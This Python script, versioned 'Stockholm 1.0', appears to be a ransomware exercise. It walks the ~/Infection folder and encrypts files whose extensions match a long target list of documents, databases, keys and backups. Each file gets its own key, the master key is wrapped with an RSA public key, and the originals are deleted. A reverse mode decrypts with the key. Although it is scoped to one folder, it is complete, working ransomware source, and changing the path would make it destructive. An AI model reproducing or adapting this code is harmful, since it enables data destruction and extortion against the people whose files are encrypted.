#!/usr/bin/env python3 # -*- coding: utf-8 -*- from pathlib import Path from cryptography.fernet import Fernet from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA import argparse import os from base64 import b64encode, b64decode suffixes_to_encrypt = [ '.123', '.3dm', '.3ds', '.3g2', '.3gp', '.602', '.7z', '.accdb', '.aes', '.ai', '.ARC', '.asc', '.asf', '.asm', '.asp', '.avi', '.backup', '.bak', '.bat', '.bmp', '.brd', '.bz2', '.c', '.cgm', '.class', '.cmd', '.cpp', '.crt', '.cs', '.csr', '.csv', '.db', '.dbf', '.dch', '.der', '.dif', '.dip', '.djvu', '.doc', '.docb', '.docm', '.docx', '.dot', '.dotm', '.dotx', '.dwg', '.edb', '.eml', '.fla', '.flv', '.frm', '.gif', '.gpg', '.gz', '.h', '.hwp', '.ibd', '.iso', '.jar', '.java', '.jpeg', '.jpg', '.js', '.jsp', '.key', '.lay', '.lay6', '.ldf', '.m3u', '.m4u', '.max', '.mdb', '.mdf', '.mid', '.mkv', '.mml', '.mov', '.mp3', '.mp4', '.mpeg', '.mpg', '.msg', '.myd', '.myi', '.nef', '.odb', '.odg', '.odp', '.ods', '.odt', '.onetoc2', '.ost', '.otg', '.otp', '.ots', '.ott', '.p12', '.PAQ', '.pas', '.pdf', '.pem', '.pfx', '.php', '.pl', '.png', '.pot', '.potm', '.potx', '.ppam', '.pps', '.ppsm', '.ppsx', '.ppt', '.pptm', '.pptx', '.ps1', '.psd', '.pst', '.rar', '.raw', '.rb', '.rtf', '.sch', '.sh', '.sldm', '.sldx', '.slk', '.sln', '.snt', '.sql', '.sqlite3', '.sqlitedb', '.stc', '.std', '.sti', '.stw', '.suo', '.svg', '.swf', '.sxc', '.sxd', '.sxi', '.sxm', '.sxw', '.tar', '.tbk', '.tgz', '.tif', '.tiff', '.txt', '.uop', '.uot', '.vb', '.vbs', '.vcd', '.vdi', '.vmdk', '.vmx', '.vob', '.vsd', '.vsdx', '.wav', '.wb2', '.wk1', '.wks', '.wma', '.wmv', '.xlc', '.xlm', '.xls', '.xlsb', '.xlsm', '.xlsx', '.xlt', '.xltm', '.xltx', '.xlw', '.zip' ] silent = False def encrypt_symmetric_key(symmetric_key, encrypted_key_path, public_key_path="id_rsa.pub"): """ Encrypts the symmetric key using the provided public key. :param symmetric_key: The symmetric key to encrypt. :param public_key_path: Path to the public RSA key file. :return: Encrypted symmetric key. """ try: with open(public_key_path, "rb") as public_key_file: public_key = RSA.import_key(public_key_file.read()) cipher_rsa = PKCS1_OAEP.new(public_key) encrypted_symmetric_key = cipher_rsa.encrypt(symmetric_key) except Exception as e: my_print(f"Error encrypting symmetric key: {e}") return None try: with open(encrypted_key_path, "w") as enc_file: enc_file.write(b64encode(encrypted_symmetric_key).decode('utf-8')) except Exception as e: my_print(f"Error writing encrypted symmetric key to file: {e}") return None my_print(f"Encrypted symmetric key saved to {encrypted_key_path}") def encrypt_files(files, symmetric_key): """ Encrypts the specified files using the symmetric key with chunked encryption. :param files: List of file paths to encrypt. :param symmetric_key: The symmetric key to use for encryption. """ fernet_main = Fernet(symmetric_key) for file in files: fernet_file_key = Fernet.generate_key() encrypted_fernet_file_key = fernet_main.encrypt(fernet_file_key) fernet = Fernet(fernet_file_key) if file.suffix != '.ft': encrypted_file = file.with_suffix(file.suffix + '.ft') else: encrypted_file = file try: with open(file, 'rb') as fin, open(encrypted_file, 'wb') as fout: # Encrypt in chunks to handle large files fout.write(len(encrypted_fernet_file_key).to_bytes(4, byteorder='big')) fout.write(encrypted_fernet_file_key) while True: chunk = fin.read(65536) # 64KB chunks if not chunk: break # Encrypt each chunk separately encrypted_chunk = fernet.encrypt(chunk) # Write the length of the encrypted chunk first (for decryption) chunk_length = len(encrypted_chunk) fout.write(chunk_length.to_bytes(4, byteorder='big')) fout.write(encrypted_chunk) except Exception as e: my_print(f"Error encrypting file {file}: {e}") continue my_print(f"Encrypted file: {encrypted_file}") try: os.remove(file) my_print(f"Removed original file: {file}") except Exception as e: my_print(f"Error removing original file {file}: {e}") def decrypt_files(files, symmetric_key): """ Decrypts the specified files using the symmetric key with chunked decryption. :param files: List of file paths to decrypt. :param symmetric_key: The symmetric key to use for decryption. """ fernet_main = Fernet(symmetric_key) for file in files: if file.suffix != '.ft': continue original_file = file.with_suffix('') if len(original_file.suffixes) == 0: original_file = original_file.with_suffix('.ft') continue try: with open(file, 'rb') as fin, open(original_file, 'wb') as fout: length_key = fin.read(4) if not length_key or len(length_key) < 4: my_print(f"Error reading length of encrypted key from {file}") continue encrypted_key = fin.read(int.from_bytes(length_key, byteorder='big')) if not encrypted_key: my_print(f"Error reading encrypted key from {file}") continue # Decrypt the symmetric key try: decrypted_key = fernet_main.decrypt(encrypted_key) except Exception as e: my_print(f"Error decrypting symmetric key: {e}") continue fernet = Fernet(decrypted_key) # Decrypt in chunks while True: # Read the chunk length length_bytes = fin.read(4) if not length_bytes or len(length_bytes) < 4: break chunk_length = int.from_bytes(length_bytes, byteorder='big') # Read the encrypted chunk encrypted_chunk = fin.read(chunk_length) if not encrypted_chunk or len(encrypted_chunk) < chunk_length: break # Decrypt the chunk decrypted_chunk = fernet.decrypt(encrypted_chunk) fout.write(decrypted_chunk) except Exception as e: my_print(f"Error decrypting file {file}: {e}") continue try: os.remove(file) my_print(f"Removed encrypted file: {file}") except Exception as e: my_print(f"Error removing encrypted file {file}: {e}") continue my_print(f"Decrypted file: {original_file}") def list_infection_files(infection_path): """ Lists all files in the Infection directory. :return: List of file paths in the Infection directory. """ if not infection_path.exists(): my_print("Infection path does not exist.") return [] files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix in suffixes_to_encrypt] return files def list_infected_files(infection_path): """ Lists all infected files in the Infection directory. :return: List of infected file paths in the Infection directory. """ if not infection_path.exists(): my_print("Infection path does not exist.") return [] files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix == '.ft'] return files def generate_symmetric_key(): """ Generates a symmetric key for encryption. :return: Generated symmetric key. """ key = Fernet.generate_key() my_print(f"Generated symmetric key: {key.decode('utf-8')}") return key def my_print(message): """ Prints the message if not in silent mode. :param message: The message to print. :param silent: If True, suppresses the output. """ global silent if not silent: print(message) def main(): parser = argparse.ArgumentParser(description="Encrypt or decrypt files in the Infection directory.") parser.add_argument("-r", "--reverse", type=str, help="Decrypt files using the provided decryption key.") parser.add_argument("-v", "--version", action="version", version="Stockholm 1.0") parser.add_argument("-s", "--silent", action="store_true", default=False ,help="Run in silent mode, suppressing output messages.") args = parser.parse_args() global silent silent = args.silent home_dir = os.path.expanduser("~") infection_path = Path(home_dir, "Infection") if args.reverse: my_print("Decrypting files...") files = list_infected_files(infection_path) # The key from swat.py is a base64-encoded string that should be used directly as bytes if isinstance(args.reverse, str): symmetric_key = args.reverse.encode('utf-8') else: symmetric_key = args.reverse if symmetric_key: if files: decrypt_files(files, symmetric_key) else: my_print("No files to decrypt found in the Infection directory.") else: my_print("Failed to decrypt the symmetric key.") else: my_print("Encrypting files...") files = list_infection_files(infection_path) symmetric_key = generate_symmetric_key() my_print(infection_path / "encrypted_symmetric_key.bin") encrypt_symmetric_key(symmetric_key, infection_path / "encrypted_symmetric_key.bin") if files: encrypt_files(files, symmetric_key) else: my_print("No files to encrypt found in the Infection directory.") del symmetric_key if __name__ == "__main__": main()